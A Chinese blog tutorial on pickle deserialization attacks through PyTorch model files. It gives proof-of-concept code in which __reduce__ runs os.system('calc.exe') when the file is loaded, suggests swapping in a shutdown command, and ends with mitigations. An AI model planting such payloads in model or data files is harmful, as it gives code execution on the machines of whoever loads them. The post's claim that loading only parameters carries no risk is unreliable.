有人说，不要轻易加载未知来源的模型，否则存在反序列化攻击的风险，本文就对此言论进行测试分析。
Pickle反序列化漏洞
通常情况下，会用到Pickle来将一些变量/对象转换成字节串进行存储，此操作称为序列化。 读取pkl文件，还原其中的数据，此操作称为反序列化。
而在Python中，有一个天然的魔法方法__reduce__，它在进行反序列化中，会自动执行其下的内容，这就造成了一个可被用于攻击的漏洞。
__reduce__方法主要有两种方式，返回字符串或者返回元组，后者可携带一些操作指令。
具体的解释可参考官方文档：https://docs.python.org/3/library/pickle.html
下面看一个示例：
代码语言：javascript复制import os
import pickle
class Test(object):
def __init__(self):
self.a = 1
self.b = '2'
self.c = '3'
def __reduce__(self):
return (os.system, ('calc.exe',))
if __name__ == '__main__':
aa = Test()
with open("model.pkl", "wb") as f:
pickle.dump(aa, f, protocol=0)
with open("model.pkl", "rb") as f:
A = pickle.load(f)运行本示例，会发现计算器会被打开，这是因为在反序列化的过程中，执行了'calc.exe'。相当于直接在控制台中输入calc.exe，从而打开计算器。
这个指令可以替换成任何命令，比如shutdown -s -t 0，这样当进行反序列操作后，会直接关机。
PyTorch反序列化漏洞
Pytorch的模型保存和加载底层依然是用到了Pickle，因此同样存在反序列化的漏洞。
下面是个示例： 首先定义一个简单的DNN模型：
代码语言：javascript复制import torch
import torch.nn as nn
import torch.nn.functional as F
import os
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.layer1 = nn.Linear(1, 128)
self.layer2 = nn.Linear(128, 128)
self.layer3 = nn.Linear(128, 2)
def forward(self, x):
x = F.relu(self.layer1(x))
x = F.relu(self.layer2(x))
action = self.layer3(x)
return action
def __reduce__(self):
return (os.system, ('calc.exe',))然后保存模型，再进行加载：
代码语言：javascript复制if __name__ == '__main__':
a = Net()
torch.save(a, '12.pt')
b = torch.load('12.pt')运行之后，同样可以发现计算器被打开。
上面的方法是保存整个模型，再进行加载。另一种模型保存和加载的方式是仅保存和加载模型的参数。
代码语言：javascript复制if __name__ == '__main__':
a = Net()
torch.save(a.state_dict(), '12.pt')
c = Net()
c.load_state_dict(torch.load('12.pt'))运行该方法，发现计算器没有被打开。
总结
- 加载模型时，尽可能不要加载整个模型，否则存在反序列化风险，加载模型参数则不存在风险。
- Pickle反序列化风险避免方式比较复杂，可以通过
黑白名单、禁用R指令等方式，更详细的内容可参考https://zhuanlan.zhihu.com/p/89132768
